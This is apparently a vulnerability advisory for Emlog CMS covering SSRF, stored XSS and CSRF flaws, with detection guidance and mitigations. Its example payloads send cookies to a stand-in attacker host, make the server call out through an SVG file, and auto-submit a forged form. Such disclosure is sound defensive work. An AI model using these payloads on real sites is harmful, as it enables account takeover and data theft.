Multiple High-Risk Vulnerabilities in Emlog CMS Enable Account Takeover and Server-Side Attacks

Product Details

Product Name: Emlog
Product Type: Open Source Content Management System (CMS) / Website Building Platform
Primary Functionality: Blogging, article publishing, media management
Affected Components:
- Media upload and processing
- Resource media library
- Article publishing workflow
- Administrative content management
Deployment Type: Self-hosted web application (PHP-based)

Advisory Overview

Multiple security vulnerabilities have been identified in Emlog, affecting versions up to 2.5.23. These issues include Server-Side Request Forgery (SSRF), stored Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF).

When chained together, these flaws allow low-privileged users or external attackers to escalate access, compromise administrator accounts, perform internal network reconnaissance, and potentially gain full control over affected Emlog instances.

At the time of publication, no official patches are available for the reported vulnerabilities.

Affected Versions Summary

Vulnerability Type	Affected Versions
SSRF via SVG Upload	≤ 2.5.19
Stored XSS (General)	2.5.23
Stored XSS (Media Library)	2.5.23
CSRF (Article Creation)	2.5.23

Vulnerability Details

1. Server-Side Request Forgery (SSRF) via SVG Upload

CVE ID: CVE-2026-21433
CVSS Score: 8.6
Severity: High
Exploitability: High
Exploit Availability: No public exploit released, exploitation is straightforward

Description

Emlog does not properly restrict or sanitize external resource references inside uploaded SVG files. When an SVG is uploaded through the media management interface and later processed (preview generation, thumbnailing, or rendering), the server automatically fetches external URLs defined in the SVG file.

This causes the server itself to initiate outbound HTTP requests, enabling SSRF and Out-of-Band (OOB) interactions.

Exploitation Method

An attacker uploads a crafted SVG file containing references to:

Attacker-controlled servers (for OOB callbacks)
Internal network IPs
Cloud metadata services

When the server processes the SVG, it issues requests from within the trusted network.

Example Payload

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://attacker-server.com/ssrf-test" />
</svg>

Impact

Internal network scanning
Access to cloud instance metadata
Exposure of credentials or tokens
Bypass of network-level access controls

MITRE ATT&CK Mapping

T1190 – Exploit Public-Facing Application
T1046 – Network Service Discovery
T1552.004 – Cloud Instance Metadata

Detection Guidance

Log Sources:

Web server access logs
Application upload logs
Outbound firewall or proxy logs
DNS query logs

Detection Indicators:

Outbound requests immediately following SVG uploads
Requests to internal IP ranges or metadata endpoints
Unexpected DNS lookups to unknown domains

2. Stored Cross-Site Scripting (XSS) – General Content

CVE ID: CVE-2026-21432
CVSS Score: 8.8
Severity: High

Description

User-supplied content is stored and rendered without proper output encoding. Malicious JavaScript injected by an attacker is persistently stored in the database and executed when viewed by other users, including administrators.

Exploitation Method

An attacker with basic publishing privileges injects JavaScript into article fields or editable content areas. When an admin views the content, the script executes in the admin’s browser context.

Example Payload

<script>
fetch('https://attacker.com/?c=' + document.cookie)
</script>

Impact

Session hijacking
Administrator account takeover
Full CMS compromise
Unauthorized content modification

MITRE ATT&CK Mapping

T1059.007 – JavaScript Execution
T1555 – Credentials from Web Browsers

Detection Guidance

Stored <script> tags in database-backed content
Admin sessions generating outbound requests
CSP violation reports (if enabled)

3. Stored XSS via Resource Media Library

CVE ID: CVE-2026-21431
CVSS Score: 6.4
Severity: Medium

Description

The media resource library fails to sanitize metadata fields associated with uploaded media. Malicious attributes embedded in image or resource metadata are stored and later executed when referenced during article rendering.

Exploitation Method

An attacker uploads media containing malicious HTML or JavaScript attributes. When the media is displayed inside an article, the payload executes in the viewer’s browser.

Example Payload

<img src="invalid" onerror="alert(document.domain)">

Impact

Stored XSS
Privilege escalation if viewed by admin users
Session token theft

MITRE ATT&CK Mapping

T1203 – Client-Side Exploitation

4. Cross-Site Request Forgery (CSRF) in Article Creation

CVE ID: CVE-2026-21430
CVSS Score: 6.8
Severity: Medium

Description

The article creation endpoint lacks effective CSRF protections. Authenticated users can be tricked into submitting forged requests that publish attacker-controlled content.

Exploitation Method

An attacker hosts a malicious webpage that silently submits a POST request to the Emlog article creation endpoint when a logged-in user visits the page.

Example CSRF Payload

<form action="/admin/article.php" method="POST">
  <input type="hidden" name="title" value="Injected Article">
  <input type="hidden" name="content" value="<script>steal()</script>">
</form>
<script>document.forms[0].submit()</script>

Impact

Unauthorized article publication
Stored XSS injection
Account takeover when combined with other flaws

MITRE ATT&CK Mapping

T1189 – Drive-By Compromise
T1534 – User Execution

Combined Risk Assessment

When exploited together, these vulnerabilities enable:

Remote internal network access via SSRF
Persistent JavaScript execution
Forced content publication
Full administrative takeover

Overall Risk: Critical in real-world deployments

Mitigation & Recommendations

Until official patches are released:

Disable SVG uploads entirely
Enforce strict output encoding on all stored content
Sanitize media metadata fields
Implement CSRF tokens for all state-changing actions
Restrict outbound network access from the web server
Monitor for anomalous outbound traffic and script execution

Official Patch Status

No official patches are available at the time of publication

Administrators are strongly advised to apply compensating controls or temporarily remove affected functionality.